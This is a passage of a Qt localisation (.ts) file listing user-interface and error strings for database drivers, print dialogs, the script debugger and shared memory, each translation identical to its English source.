- <translation>Unable to commit transaction</translation>
- </message>
- <message>
- <source>Unable to rollback transaction</source>
- <translation>Unable to rollback transaction</translation>
- </message>
- </context>
- <context>
- <name>QOCIResult</name>
- <message>
- <source>Unable to bind column for batch execute</source>
- <translation>Unable to bind column for batch execute</translation>
- </message>
- <message>
- <source>Unable to execute batch statement</source>
- <translation>Unable to execute batch statement</translation>
- </message>
- <message>
- <source>Unable to goto next</source>
- <translation>Unable to goto next</translation>
- </message>
- <message>
- <source>Unable to alloc statement</source>
- <translation>Unable to alloc statement</translation>
- </message>
- <message>
- <source>Unable to prepare statement</source>
- <translation>Unable to prepare statement</translation>
- </message>
- <message>
- <source>Unable to get statement type</source>
- <translation>Unable to get statement type</translation>
- </message>
- <message>
- <source>Unable to bind value</source>
- <translation>Unable to bind value</translation>
- </message>
- <message>
- <source>Unable to execute statement</source>
- <translation>Unable to execute statement</translation>
- </message>
- </context>
- <context>
- <name>QODBCDriver</name>
- <message>
- <source>Unable to connect</source>
- <translation>Unable to connect</translation>
- </message>
- <message>
- <source>Unable to disable autocommit</source>
- <translation>Unable to disable autocommit</translation>
- </message>
- <message>
- <source>Unable to commit transaction</source>
- <translation>Unable to commit transaction</translation>
- </message>
- <message>
- <source>Unable to rollback transaction</source>
- <translation>Unable to rollback transaction</translation>
- </message>
- <message>
- <source>Unable to enable autocommit</source>
- <translation>Unable to enable autocommit</translation>
- </message>
- <message>
- <source>Unable to connect - Driver doesn&apos;t support all functionality required</source>
- <translation>Unable to connect - Driver doesn&apos;t support all functionality required</translation>
- </message>
- </context>
- <context>
- <name>QODBCResult</name>
- <message>
- <source>QODBCResult::reset: Unable to set &apos;SQL_CURSOR_STATIC&apos; as statement attribute. Please check your ODBC driver configuration</source>
- <translation>QODBCResult::reset: Unable to set &apos;SQL_CURSOR_STATIC&apos; as statement attribute. Please check your ODBC driver configuration</translation>
- </message>
- <message>
- <source>Unable to execute statement</source>
- <translation>Unable to execute statement</translation>
- </message>
- <message>
- <source>Unable to fetch next</source>
- <translation>Unable to fetch next</translation>
- </message>
- <message>
- <source>Unable to prepare statement</source>
- <translation>Unable to prepare statement</translation>
- </message>
- <message>
- <source>Unable to bind variable</source>
- <translation>Unable to bind variable</translation>
- </message>
- <message>
- <source>Unable to fetch last</source>
- <translation>Unable to fetch last</translation>
- </message>
- <message>
- <source>Unable to fetch</source>
- <translation>Unable to fetch</translation>
- </message>
- <message>
- <source>Unable to fetch first</source>
- <translation>Unable to fetch first</translation>
- </message>
- <message>
- <source>Unable to fetch previous</source>
- <translation>Unable to fetch previous</translation>
- </message>
- </context>
- <context>
- <name>QObject</name>
- <message>
- <source>Invalid hostname</source>
- <translation>Invalid hostname</translation>
- </message>
- <message>
- <source>Operation not supported on %1</source>
- <translation>Operation not supported on %1</translation>
- </message>
- <message>
- <source>Invalid URI: %1</source>
- <translation>Invalid URI: %1</translation>
- </message>
- <message>
- <source>Socket error on %1: %2</source>
- <translation>Socket error on %1: %2</translation>
- </message>
- <message>
- <source>Remote host closed the connection prematurely on %1</source>
- <translation>Remote host closed the connection prematurely on %1</translation>
- </message>
- <message>
- <source>No host name given</source>
- <translation>No host name given</translation>
- </message>
- </context>
- <context>
- <name>QPPDOptionsModel</name>
- <message>
- <source>Name</source>
- <translation>Name</translation>
- </message>
- <message>
- <source>Value</source>
- <translation>Value</translation>
- </message>
- </context>
- <context>
- <name>QPSQLDriver</name>
- <message>
- <source>Unable to connect</source>
- <translation>Unable to connect</translation>
- </message>
- <message>
- <source>Could not begin transaction</source>
- <translation>Could not begin transaction</translation>
- </message>
- <message>
- <source>Could not commit transaction</source>
- <translation>Could not commit transaction</translation>
- </message>
- <message>
- <source>Could not rollback transaction</source>
- <translation>Could not rollback transaction</translation>
- </message>
- <message>
- <source>Unable to subscribe</source>
- <translation>Unable to subscribe</translation>
- </message>
- <message>
- <source>Unable to unsubscribe</source>
- <translation>Unable to unsubscribe</translation>
- </message>
- </context>
- <context>
- <name>QPSQLResult</name>
- <message>
- <source>Unable to create query</source>
- <translation>Unable to create query</translation>
- </message>
- <message>
- <source>Unable to prepare statement</source>
- <translation>Unable to prepare statement</translation>
- </message>
- </context>
- <context>
- <name>QPageSetupWidget</name>
- <message>
- <source>Centimeters (cm)</source>
- <translation>Centimeters (cm)</translation>
- </message>
- <message>
- <source>Millimeters (mm)</source>
- <translation>Millimeters (mm)</translation>
- </message>
- <message>
- <source>Inches (in)</source>
- <translation>Inches (in)</translation>
- </message>
- <message>
- <source>Points (pt)</source>
- <translation>Points (pt)</translation>
- </message>
- <message>
- <source>Form</source>
- <translation>Form</translation>
- </message>
- <message>
- <source>Paper</source>
- <translation>Paper</translation>
- </message>
- <message>
- <source>Page size:</source>
- <translation>Page size:</translation>
- </message>
- <message>
- <source>Width:</source>
- <translation>Width:</translation>
- </message>
- <message>
- <source>Height:</source>
- <translation>Height:</translation>
- </message>
- <message>
- <source>Paper source:</source>
- <translation>Paper source:</translation>
- </message>
- <message>
- <source>Orientation</source>
- <translation>Orientation</translation>
- </message>
- <message>
- <source>Portrait</source>
- <translation>Portrait</translation>
- </message>
- <message>
- <source>Landscape</source>
- <translation>Landscape</translation>
- </message>
- <message>
- <source>Reverse landscape</source>
- <translation>Reverse landscape</translation>
- </message>
- <message>
- <source>Reverse portrait</source>
- <translation>Reverse portrait</translation>
- </message>
- <message>
- <source>Margins</source>
- <translation>Margins</translation>
- </message>
- <message>
- <source>top margin</source>
- <translation>top margin</translation>
- </message>
- <message>
- <source>left margin</source>
- <translation>left margin</translation>
- </message>
- <message>
- <source>right margin</source>
- <translation>right margin</translation>
- </message>
- <message>
- <source>bottom margin</source>
- <translation>bottom margin</translation>
- </message>
- </context>
- <context>
- <name>QPluginLoader</name>
- <message>
- <source>Unknown error</source>
- <translation>Unknown error</translation>
- </message>
- <message>
- <source>The plugin was not loaded.</source>
- <translation>The plugin was not loaded.</translation>
- </message>
- </context>
- <context>
- <name>QPrintDialog</name>
- <message>
- <source>locally connected</source>
- <translation>locally connected</translation>
- </message>
- <message>
- <source>Aliases: %1</source>
- <translation>Aliases: %1</translation>
- </message>
- <message>
- <source>unknown</source>
- <translation>unknown</translation>
- </message>
- <message>
- <source>OK</source>
- <translation>OK</translation>
- </message>
- <message>
- <source>Print all</source>
- <translation>Print all</translation>
- </message>
- <message>
- <source>Print range</source>
- <translation>Print range</translation>
- </message>
- <message>
- <source>A0 (841 x 1189 mm)</source>
- <translation>A0 (841 x 1189 mm)</translation>
- </message>
- <message>
- <source>A1 (594 x 841 mm)</source>
- <translation>A1 (594 x 841 mm)</translation>
- </message>
- <message>
- <source>A2 (420 x 594 mm)</source>
- <translation>A2 (420 x 594 mm)</translation>
- </message>
- <message>
- <source>A3 (297 x 420 mm)</source>
- <translation>A3 (297 x 420 mm)</translation>
- </message>
- <message>
- <source>A5 (148 x 210 mm)</source>
- <translation>A5 (148 x 210 mm)</translation>
- </message>
- <message>
- <source>A6 (105 x 148 mm)</source>
- <translation>A6 (105 x 148 mm)</translation>
- </message>
- <message>
- <source>A7 (74 x 105 mm)</source>
- <translation>A7 (74 x 105 mm)</translation>
- </message>
- <message>
- <source>A8 (52 x 74 mm)</source>
- <translation>A8 (52 x 74 mm)</translation>
- </message>
- <message>
- <source>A9 (37 x 52 mm)</source>
- <translation>A9 (37 x 52 mm)</translation>
- </message>
- <message>
- <source>B0 (1000 x 1414 mm)</source>
- <translation>B0 (1000 x 1414 mm)</translation>
- </message>
- <message>
- <source>B1 (707 x 1000 mm)</source>
- <translation>B1 (707 x 1000 mm)</translation>
- </message>
- <message>
- <source>B2 (500 x 707 mm)</source>
- <translation>B2 (500 x 707 mm)</translation>
- </message>
- <message>
- <source>B3 (353 x 500 mm)</source>
- <translation>B3 (353 x 500 mm)</translation>
- </message>
- <message>
- <source>B4 (250 x 353 mm)</source>
- <translation>B4 (250 x 353 mm)</translation>
- </message>
- <message>
- <source>B6 (125 x 176 mm)</source>
- <translation>B6 (125 x 176 mm)</translation>
- </message>
- <message>
- <source>B7 (88 x 125 mm)</source>
- <translation>B7 (88 x 125 mm)</translation>
- </message>
- <message>
- <source>B8 (62 x 88 mm)</source>
- <translation>B8 (62 x 88 mm)</translation>
- </message>
- <message>
- <source>B9 (44 x 62 mm)</source>
- <translation>B9 (44 x 62 mm)</translation>
- </message>
- <message>
- <source>B10 (31 x 44 mm)</source>
- <translation>B10 (31 x 44 mm)</translation>
- </message>
- <message>
- <source>C5E (163 x 229 mm)</source>
- <translation>C5E (163 x 229 mm)</translation>
- </message>
- <message>
- <source>DLE (110 x 220 mm)</source>
- <translation>DLE (110 x 220 mm)</translation>
- </message>
- <message>
- <source>Folio (210 x 330 mm)</source>
- <translation>Folio (210 x 330 mm)</translation>
- </message>
- <message>
- <source>Ledger (432 x 279 mm)</source>
- <translation>Ledger (432 x 279 mm)</translation>
- </message>
- <message>
- <source>Tabloid (279 x 432 mm)</source>
- <translation>Tabloid (279 x 432 mm)</translation>
- </message>
- <message>
- <source>US Common #10 Envelope (105 x 241 mm)</source>
- <translation>US Common #10 Envelope (105 x 241 mm)</translation>
- </message>
- <message>
- <source>A4 (210 x 297 mm, 8.26 x 11.7 inches)</source>
- <translation>A4 (210 x 297 mm, 8.26 x 11.7 inches)</translation>
- </message>
- <message>
- <source>B5 (176 x 250 mm, 6.93 x 9.84 inches)</source>
- <translation>B5 (176 x 250 mm, 6.93 x 9.84 inches)</translation>
- </message>
- <message>
- <source>Executive (7.5 x 10 inches, 191 x 254 mm)</source>
- <translation>Executive (7.5 x 10 inches, 191 x 254 mm)</translation>
- </message>
- <message>
- <source>Legal (8.5 x 14 inches, 216 x 356 mm)</source>
- <translation>Legal (8.5 x 14 inches, 216 x 356 mm)</translation>
- </message>
- <message>
- <source>Letter (8.5 x 11 inches, 216 x 279 mm)</source>
- <translation>Letter (8.5 x 11 inches, 216 x 279 mm)</translation>
- </message>
- <message>
- <source>Print selection</source>
- <translation>Print selection</translation>
- </message>
- <message>
- <source>Print</source>
- <translation>Print</translation>
- </message>
- <message>
- <source>Print To File ...</source>
- <translation>Print To File ...</translation>
- </message>
- <message>
- <source>File %1 is not writable.
-Please choose a different file name.</source>
- <translation>File %1 is not writable.
-Please choose a different file name.</translation>
- </message>
- <message>
- <source>%1 already exists.
-Do you want to overwrite it?</source>
- <translation>%1 already exists.
-Do you want to overwrite it?</translation>
- </message>
- <message>
- <source>File exists</source>
- <translation>File exists</translation>
- </message>
- <message>
- <source>&lt;qt&gt;Do you want to overwrite it?&lt;/qt&gt;</source>
- <translation>&lt;qt&gt;Do you want to overwrite it?&lt;/qt&gt;</translation>
- </message>
- <message>
- <source>%1 is a directory.
-Please choose a different file name.</source>
- <translation>%1 is a directory.
-Please choose a different file name.</translation>
- </message>
- <message>
- <source>The &apos;From&apos; value cannot be greater than the &apos;To&apos; value.</source>
- <translation>The &apos;From&apos; value cannot be greater than the &apos;To&apos; value.</translation>
- </message>
- <message>
- <source>A0</source>
- <translation>A0</translation>
- </message>
- <message>
- <source>A1</source>
- <translation>A1</translation>
- </message>
- <message>
- <source>A2</source>
- <translation>A2</translation>
- </message>
- <message>
- <source>A3</source>
- <translation>A3</translation>
- </message>
- <message>
- <source>A4</source>
- <translation>A4</translation>
- </message>
- <message>
- <source>A5</source>
- <translation>A5</translation>
- </message>
- <message>
- <source>A6</source>
- <translation>A6</translation>
- </message>
- <message>
- <source>A7</source>
- <translation>A7</translation>
- </message>
- <message>
- <source>A8</source>
- <translation>A8</translation>
- </message>
- <message>
- <source>A9</source>
- <translation>A9</translation>
- </message>
- <message>
- <source>B0</source>
- <translation>B0</translation>
- </message>
- <message>
- <source>B1</source>
- <translation>B1</translation>
- </message>
- <message>
- <source>B2</source>
- <translation>B2</translation>
- </message>
- <message>
- <source>B3</source>
- <translation>B3</translation>
- </message>
- <message>
- <source>B4</source>
- <translation>B4</translation>
- </message>
- <message>
- <source>B5</source>
- <translation>B5</translation>
- </message>
- <message>
- <source>B6</source>
- <translation>B6</translation>
- </message>
- <message>
- <source>B7</source>
- <translation>B7</translation>
- </message>
- <message>
- <source>B8</source>
- <translation>B8</translation>
- </message>
- <message>
- <source>B9</source>
- <translation>B9</translation>
- </message>
- <message>
- <source>B10</source>
- <translation>B10</translation>
- </message>
- <message>
- <source>C5E</source>
- <translation>C5E</translation>
- </message>
- <message>
- <source>DLE</source>
- <translation>DLE</translation>
- </message>
- <message>
- <source>Executive</source>
- <translation>Executive</translation>
- </message>
- <message>
- <source>Folio</source>
- <translation>Folio</translation>
- </message>
- <message>
- <source>Ledger</source>
- <translation>Ledger</translation>
- </message>
- <message>
- <source>Legal</source>
- <translation>Legal</translation>
- </message>
- <message>
- <source>Letter</source>
- <translation>Letter</translation>
- </message>
- <message>
- <source>Tabloid</source>
- <translation>Tabloid</translation>
- </message>
- <message>
- <source>US Common #10 Envelope</source>
- <translation>US Common #10 Envelope</translation>
- </message>
- <message>
- <source>Custom</source>
- <translation>Custom</translation>
- </message>
- <message>
- <source>&amp;Options &gt;&gt;</source>
- <translation>&amp;Options &gt;&gt;</translation>
- </message>
- <message>
- <source>&amp;Options &lt;&lt;</source>
- <translation>&amp;Options &lt;&lt;</translation>
- </message>
- <message>
- <source>Print to File (PDF)</source>
- <translation>Print to File (PDF)</translation>
- </message>
- <message>
- <source>Print to File (Postscript)</source>
- <translation>Print to File (Postscript)</translation>
- </message>
- <message>
- <source>Local file</source>
- <translation>Local file</translation>
- </message>
- <message>
- <source>Write %1 file</source>
- <translation>Write %1 file</translation>
- </message>
- <message>
- <source>&amp;Print</source>
- <translation>&amp;Print</translation>
- </message>
- </context>
- <context>
- <name>QPrintPreviewDialog</name>
- <message>
- <source>%1%</source>
- <translation>%1%</translation>
- </message>
- <message>
- <source>Print Preview</source>
- <translation>Print Preview</translation>
- </message>
- <message>
- <source>Next page</source>
- <translation>Next page</translation>
- </message>
- <message>
- <source>Previous page</source>
- <translation>Previous page</translation>
- </message>
- <message>
- <source>First page</source>
- <translation>First page</translation>
- </message>
- <message>
- <source>Last page</source>
- <translation>Last page</translation>
- </message>
- <message>
- <source>Fit width</source>
- <translation>Fit width</translation>
- </message>
- <message>
- <source>Fit page</source>
- <translation>Fit page</translation>
- </message>
- <message>
- <source>Zoom in</source>
- <translation>Zoom in</translation>
- </message>
- <message>
- <source>Zoom out</source>
- <translation>Zoom out</translation>
- </message>
- <message>
- <source>Portrait</source>
- <translation>Portrait</translation>
- </message>
- <message>
- <source>Landscape</source>
- <translation>Landscape</translation>
- </message>
- <message>
- <source>Show single page</source>
- <translation>Show single page</translation>
- </message>
- <message>
- <source>Show facing pages</source>
- <translation>Show facing pages</translation>
- </message>
- <message>
- <source>Show overview of all pages</source>
- <translation>Show overview of all pages</translation>
- </message>
- <message>
- <source>Print</source>
- <translation>Print</translation>
- </message>
- <message>
- <source>Page setup</source>
- <translation>Page setup</translation>
- </message>
- <message>
- <source>Close</source>
- <translation>Close</translation>
- </message>
- <message>
- <source>Export to PDF</source>
- <translation>Export to PDF</translation>
- </message>
- <message>
- <source>Export to PostScript</source>
- <translation>Export to PostScript</translation>
- </message>
- <message>
- <source>Page Setup</source>
- <translation>Page Setup</translation>
- </message>
- </context>
- <context>
- <name>QPrintPropertiesWidget</name>
- <message>
- <source>Form</source>
- <translation>Form</translation>
- </message>
- <message>
- <source>Page</source>
- <translation>Page</translation>
- </message>
- <message>
- <source>Advanced</source>
- <translation>Advanced</translation>
- </message>
- </context>
- <context>
- <name>QPrintSettingsOutput</name>
- <message>
- <source>Form</source>
- <translation>Form</translation>
- </message>
- <message>
- <source>Copies</source>
- <translation>Copies</translation>
- </message>
- <message>
- <source>Print range</source>
- <translation>Print range</translation>
- </message>
- <message>
- <source>Print all</source>
- <translation>Print all</translation>
- </message>
- <message>
- <source>Pages from</source>
- <translation>Pages from</translation>
- </message>
- <message>
- <source>to</source>
- <translation>to</translation>
- </message>
- <message>
- <source>Selection</source>
- <translation>Selection</translation>
- </message>
- <message>
- <source>Output Settings</source>
- <translation>Output Settings</translation>
- </message>
- <message>
- <source>Copies:</source>
- <translation>Copies:</translation>
- </message>
- <message>
- <source>Collate</source>
- <translation>Collate</translation>
- </message>
- <message>
- <source>Reverse</source>
- <translation>Reverse</translation>
- </message>
- <message>
- <source>Options</source>
- <translation>Options</translation>
- </message>
- <message>
- <source>Color Mode</source>
- <translation>Color Mode</translation>
- </message>
- <message>
- <source>Color</source>
- <translation>Color</translation>
- </message>
- <message>
- <source>Grayscale</source>
- <translation>Grayscale</translation>
- </message>
- <message>
- <source>Duplex Printing</source>
- <translation>Duplex Printing</translation>
- </message>
- <message>
- <source>None</source>
- <translation>None</translation>
- </message>
- <message>
- <source>Long side</source>
- <translation>Long side</translation>
- </message>
- <message>
- <source>Short side</source>
- <translation>Short side</translation>
- </message>
- </context>
- <context>
- <name>QPrintWidget</name>
- <message>
- <source>Form</source>
- <translation>Form</translation>
- </message>
- <message>
- <source>Printer</source>
- <translation>Printer</translation>
- </message>
- <message>
- <source>&amp;Name:</source>
- <translation>&amp;Name:</translation>
- </message>
- <message>
- <source>P&amp;roperties</source>
- <translation>P&amp;roperties</translation>
- </message>
- <message>
- <source>Location:</source>
- <translation>Location:</translation>
- </message>
- <message>
- <source>Preview</source>
- <translation>Preview</translation>
- </message>
- <message>
- <source>Type:</source>
- <translation>Type:</translation>
- </message>
- <message>
- <source>Output &amp;file:</source>
- <translation>Output &amp;file:</translation>
- </message>
- <message>
- <source>...</source>
- <translation>...</translation>
- </message>
- </context>
- <context>
- <name>QProcess</name>
- <message>
- <source>Could not open input redirection for reading</source>
- <translation>Could not open input redirection for reading</translation>
- </message>
- <message>
- <source>Could not open output redirection for writing</source>
- <translation>Could not open output redirection for writing</translation>
- </message>
- <message>
- <source>Resource error (fork failure): %1</source>
- <translation>Resource error (fork failure): %1</translation>
- </message>
- <message>
- <source>Process operation timed out</source>
- <translation>Process operation timed out</translation>
- </message>
- <message>
- <source>Error reading from process</source>
- <translation>Error reading from process</translation>
- </message>
- <message>
- <source>Error writing to process</source>
- <translation>Error writing to process</translation>
- </message>
- <message>
- <source>Process crashed</source>
- <translation>Process crashed</translation>
- </message>
- <message>
- <source>No program defined</source>
- <translation>No program defined</translation>
- </message>
- <message>
- <source>Process failed to start: %1</source>
- <translation>Process failed to start: %1</translation>
- </message>
- </context>
- <context>
- <name>QProgressDialog</name>
- <message>
- <source>Cancel</source>
- <translation>Cancel</translation>
- </message>
- </context>
- <context>
- <name>QPushButton</name>
- <message>
- <source>Open</source>
- <translation>Open</translation>
- </message>
- </context>
- <context>
- <name>QRadioButton</name>
- <message>
- <source>Check</source>
- <translation>Check</translation>
- </message>
- </context>
- <context>
- <name>QRegExp</name>
- <message>
- <source>no error occurred</source>
- <translation>no error occurred</translation>
- </message>
- <message>
- <source>disabled feature used</source>
- <translation>disabled feature used</translation>
- </message>
- <message>
- <source>bad char class syntax</source>
- <translation>bad char class syntax</translation>
- </message>
- <message>
- <source>bad lookahead syntax</source>
- <translation>bad lookahead syntax</translation>
- </message>
- <message>
- <source>bad repetition syntax</source>
- <translation>bad repetition syntax</translation>
- </message>
- <message>
- <source>invalid octal value</source>
- <translation>invalid octal value</translation>
- </message>
- <message>
- <source>missing left delim</source>
- <translation>missing left delim</translation>
- </message>
- <message>
- <source>unexpected end</source>
- <translation>unexpected end</translation>
- </message>
- <message>
- <source>met internal limit</source>
- <translation>met internal limit</translation>
- </message>
- <message>
- <source>invalid interval</source>
- <translation>invalid interval</translation>
- </message>
- <message>
- <source>invalid category</source>
- <translation>invalid category</translation>
- </message>
- </context>
- <context>
- <name>QSQLite2Driver</name>
- <message>
- <source>Error opening database</source>
- <translation>Error opening database</translation>
- </message>
- <message>
- <source>Unable to begin transaction</source>
- <translation>Unable to begin transaction</translation>
- </message>
- <message>
- <source>Unable to commit transaction</source>
- <translation>Unable to commit transaction</translation>
- </message>
- <message>
- <source>Unable to rollback transaction</source>
- <translation>Unable to rollback transaction</translation>
- </message>
- </context>
- <context>
- <name>QSQLite2Result</name>
- <message>
- <source>Unable to fetch results</source>
- <translation>Unable to fetch results</translation>
- </message>
- <message>
- <source>Unable to execute statement</source>
- <translation>Unable to execute statement</translation>
- </message>
- </context>
- <context>
- <name>QSQLiteDriver</name>
- <message>
- <source>Error opening database</source>
- <translation>Error opening database</translation>
- </message>
- <message>
- <source>Error closing database</source>
- <translation>Error closing database</translation>
- </message>
- <message>
- <source>Unable to begin transaction</source>
- <translation>Unable to begin transaction</translation>
- </message>
- <message>
- <source>Unable to commit transaction</source>
- <translation>Unable to commit transaction</translation>
- </message>
- <message>
- <source>Unable to rollback transaction</source>
- <translation>Unable to rollback transaction</translation>
- </message>
- </context>
- <context>
- <name>QSQLiteResult</name>
- <message>
- <source>Unable to fetch row</source>
- <translation>Unable to fetch row</translation>
- </message>
- <message>
- <source>Unable to execute statement</source>
- <translation>Unable to execute statement</translation>
- </message>
- <message>
- <source>Unable to reset statement</source>
- <translation>Unable to reset statement</translation>
- </message>
- <message>
- <source>Unable to bind parameters</source>
- <translation>Unable to bind parameters</translation>
- </message>
- <message>
- <source>Parameter count mismatch</source>
- <translation>Parameter count mismatch</translation>
- </message>
- <message>
- <source>No query</source>
- <translation>No query</translation>
- </message>
- </context>
- <context>
- <name>QScriptBreakpointsModel</name>
- <message>
- <source>ID</source>
- <translation>ID</translation>
- </message>
- <message>
- <source>Location</source>
- <translation>Location</translation>
- </message>
- <message>
- <source>Condition</source>
- <translation>Condition</translation>
- </message>
- <message>
- <source>Ignore-count</source>
- <translation>Ignore-count</translation>
- </message>
- <message>
- <source>Single-shot</source>
- <translation>Single-shot</translation>
- </message>
- <message>
- <source>Hit-count</source>
- <translation>Hit-count</translation>
- </message>
- </context>
- <context>
- <name>QScriptBreakpointsWidget</name>
- <message>
- <source>New</source>
- <translation>New</translation>
- </message>
- <message>
- <source>Delete</source>
- <translation>Delete</translation>
- </message>
- </context>
- <context>
- <name>QScriptDebugger</name>
- <message>
- <source>Go to Line</source>
- <translation>Go to Line</translation>
- </message>
- <message>
- <source>Line:</source>
- <translation>Line:</translation>
- </message>
- <message>
- <source>Interrupt</source>
- <translation>Interrupt</translation>
- </message>
- <message>
- <source>Shift+F5</source>
- <translation>Shift+F5</translation>
- </message>
- <message>
- <source>Continue</source>
- <translation>Continue</translation>
- </message>
- <message>
- <source>F5</source>
- <translation>F5</translation>
- </message>
- <message>
- <source>Step Into</source>
- <translation>Step Into</translation>
- </message>
- <message>
- <source>F11</source>
- <translation>F11</translation>
- </message>
- <message>
- <source>Step Over</source>
- <translation>Step Over</translation>
- </message>
- <message>
- <source>F10</source>
- <translation>F10</translation>
- </message>
- <message>
- <source>Step Out</source>
- <translation>Step Out</translation>
- </message>
- <message>
- <source>Shift+F11</source>
- <translation>Shift+F11</translation>
- </message>
- <message>
- <source>Run to Cursor</source>
- <translation>Run to Cursor</translation>
- </message>
- <message>
- <source>Ctrl+F10</source>
- <translation>Ctrl+F10</translation>
- </message>
- <message>
- <source>Run to New Script</source>
- <translation>Run to New Script</translation>
- </message>
- <message>
- <source>Toggle Breakpoint</source>
- <translation>Toggle Breakpoint</translation>
- </message>
- <message>
- <source>F9</source>
- <translation>F9</translation>
- </message>
- <message>
- <source>Clear Debug Output</source>
- <translation>Clear Debug Output</translation>
- </message>
- <message>
- <source>Clear Error Log</source>
- <translation>Clear Error Log</translation>
- </message>
- <message>
- <source>Clear Console</source>
- <translation>Clear Console</translation>
- </message>
- <message>
- <source>&amp;Find in Script...</source>
- <translation>&amp;Find in Script...</translation>
- </message>
- <message>
- <source>Ctrl+F</source>
- <translation>Ctrl+F</translation>
- </message>
- <message>
- <source>Find &amp;Next</source>
- <translation>Find &amp;Next</translation>
- </message>
- <message>
- <source>F3</source>
- <translation>F3</translation>
- </message>
- <message>
- <source>Find &amp;Previous</source>
- <translation>Find &amp;Previous</translation>
- </message>
- <message>
- <source>Shift+F3</source>
- <translation>Shift+F3</translation>
- </message>
- <message>
- <source>Ctrl+G</source>
- <translation>Ctrl+G</translation>
- </message>
- <message>
- <source>Debug</source>
- <translation>Debug</translation>
- </message>
- </context>
- <context>
- <name>QScriptDebuggerCodeFinderWidget</name>
- <message>
- <source>Close</source>
- <translation>Close</translation>
- </message>
- <message>
- <source>Previous</source>
- <translation>Previous</translation>
- </message>
- <message>
- <source>Next</source>
- <translation>Next</translation>
- </message>
- <message>
- <source>Case Sensitive</source>
- <translation>Case Sensitive</translation>
- </message>
- <message>
- <source>Whole words</source>
- <translation>Whole words</translation>
- </message>
- <message>
- <source>&lt;img src=&quot;:/qt/scripttools/debugging/images/wrap.png&quot;&gt;&amp;nbsp;Search wrapped</source>
- <translation>&lt;img src=&quot;:/qt/scripttools/debugging/images/wrap.png&quot;&gt;&amp;nbsp;Search wrapped</translation>
- </message>
- </context>
- <context>
- <name>QScriptDebuggerLocalsModel</name>
- <message>
- <source>Name</source>
- <translation>Name</translation>
- </message>
- <message>
- <source>Value</source>
- <translation>Value</translation>
- </message>
- </context>
- <context>
- <name>QScriptDebuggerStackModel</name>
- <message>
- <source>Level</source>
- <translation>Level</translation>
- </message>
- <message>
- <source>Name</source>
- <translation>Name</translation>
- </message>
- <message>
- <source>Location</source>
- <translation>Location</translation>
- </message>
- </context>
- <context>
- <name>QScriptEdit</name>
- <message>
- <source>Toggle Breakpoint</source>
- <translation>Toggle Breakpoint</translation>
- </message>
- <message>
- <source>Disable Breakpoint</source>
- <translation>Disable Breakpoint</translation>
- </message>
- <message>
- <source>Enable Breakpoint</source>
- <translation>Enable Breakpoint</translation>
- </message>
- <message>
- <source>Breakpoint Condition:</source>
- <translation>Breakpoint Condition:</translation>
- </message>
- </context>
- <context>
- <name>QScriptEngineDebugger</name>
- <message>
- <source>Loaded Scripts</source>
- <translation>Loaded Scripts</translation>
- </message>
- <message>
- <source>Breakpoints</source>
- <translation>Breakpoints</translation>
- </message>
- <message>
- <source>Stack</source>
- <translation>Stack</translation>
- </message>
- <message>
- <source>Locals</source>
- <translation>Locals</translation>
- </message>
- <message>
- <source>Console</source>
- <translation>Console</translation>
- </message>
- <message>
- <source>Debug Output</source>
- <translation>Debug Output</translation>
- </message>
- <message>
- <source>Error Log</source>
- <translation>Error Log</translation>
- </message>
- <message>
- <source>Search</source>
- <translation>Search</translation>
- </message>
- <message>
- <source>View</source>
- <translation>View</translation>
- </message>
- <message>
- <source>Qt Script Debugger</source>
- <translation>Qt Script Debugger</translation>
- </message>
- </context>
- <context>
- <name>QScriptNewBreakpointWidget</name>
- <message>
- <source>Close</source>
- <translation>Close</translation>
- </message>
- </context>
- <context>
- <name>QScrollBar</name>
- <message>
- <source>Scroll here</source>
- <translation>Scroll here</translation>
- </message>
- <message>
- <source>Left edge</source>
- <translation>Left edge</translation>
- </message>
- <message>
- <source>Top</source>
- <translation>Top</translation>
- </message>
- <message>
- <source>Right edge</source>
- <translation>Right edge</translation>
- </message>
- <message>
- <source>Bottom</source>
- <translation>Bottom</translation>
- </message>
- <message>
- <source>Page left</source>
- <translation>Page left</translation>
- </message>
- <message>
- <source>Page up</source>
- <translation>Page up</translation>
- </message>
- <message>
- <source>Page right</source>
- <translation>Page right</translation>
- </message>
- <message>
- <source>Page down</source>
- <translation>Page down</translation>
- </message>
- <message>
- <source>Scroll left</source>
- <translation>Scroll left</translation>
- </message>
- <message>
- <source>Scroll up</source>
- <translation>Scroll up</translation>
- </message>
- <message>
- <source>Scroll right</source>
- <translation>Scroll right</translation>
- </message>
- <message>
- <source>Scroll down</source>
- <translation>Scroll down</translation>
- </message>
- <message>
- <source>Line up</source>
- <translation>Line up</translation>
- </message>
- <message>
- <source>Position</source>
- <translation>Position</translation>
- </message>
- <message>
- <source>Line down</source>
- <translation>Line down</translation>
- </message>
- </context>
- <context>
- <name>QSharedMemory</name>
- <message>
- <source>%1: create size is less then 0</source>
- <translation>%1: create size is less then 0</translation>
- </message>
- <message>
- <source>%1: unable to lock</source>
- <translation>%1: unable to lock</translation>
- </message>
- <message>
- <source>%1: unable to unlock</source>
- <translation>%1: unable to unlock</translation>
- </message>
- <message>
- <source>%1: permission denied</source>
- <translation>%1: permission denied</translation>
- </message>
- <message>
- <source>%1: already exists</source>
- <translation>%1: already exists</translation>
- </message>
- <message>
- <source>%1: doesn&apos;t exists</source>
- <translation>%1: doesn&apos;t exists</translation>
- </message>
- <message>
- <source>%1: out of resources</source>
- <translation>%1: out of resources</translation>
- </message>
- <message>
- <source>%1: unknown error %2</source>
- <translation>%1: unknown error %2</translation>
- </message>
- <message>
- <source>%1: key is empty</source>
- <translation>%1: key is empty</translation>
- </message>
- <message>
- <source>%1: ftok failed</source>
- <translation>%1: ftok failed</translation>
- </message>
- <message>
- <source>%1: unable to make key</source>
- <translation>%1: unable to make key</translation>
- </message>
- <message>
- <source>%1: doesn&apos;t exist</source>
- <translation>%1: doesn&apos;t exist</translation>
- </message>
- <message>
- <source>%1: UNIX key file doesn&apos;t exist</source>
- <translation>%1: UNIX key file doesn&apos;t exist</translation>
- </message>
- <message>
- <source>%1: system-imposed size restrictions</source>
- <translation>%1: system-imposed size restrictions</translation>
- </message>
- <message>
- <source>%1: not attached</source>
- <translation>%1: not attached</translation>
- </message>
- <message>
- <source>%1: invalid size</source>
- <translation>%1: invalid size</translation>
- </message>
- <message>
- <source>%1: key error</source>
- <translation>%1: key error</translation>
- </message>
- <message>
- <source>%1: size query failed</source>
- <translation>%1: size query failed</translation>
- </message>
- <message>
- <source>%1: unable to set key on lock</source>
- <translation>%1: unable to set key on lock</translation>
- </message>
- </context>
- <context>
- <name>QShortcut</name>
- <message>
- <source>Space</source>
- <translation>Space</translation>
- </message>
- <message>
- <source>Esc</source>
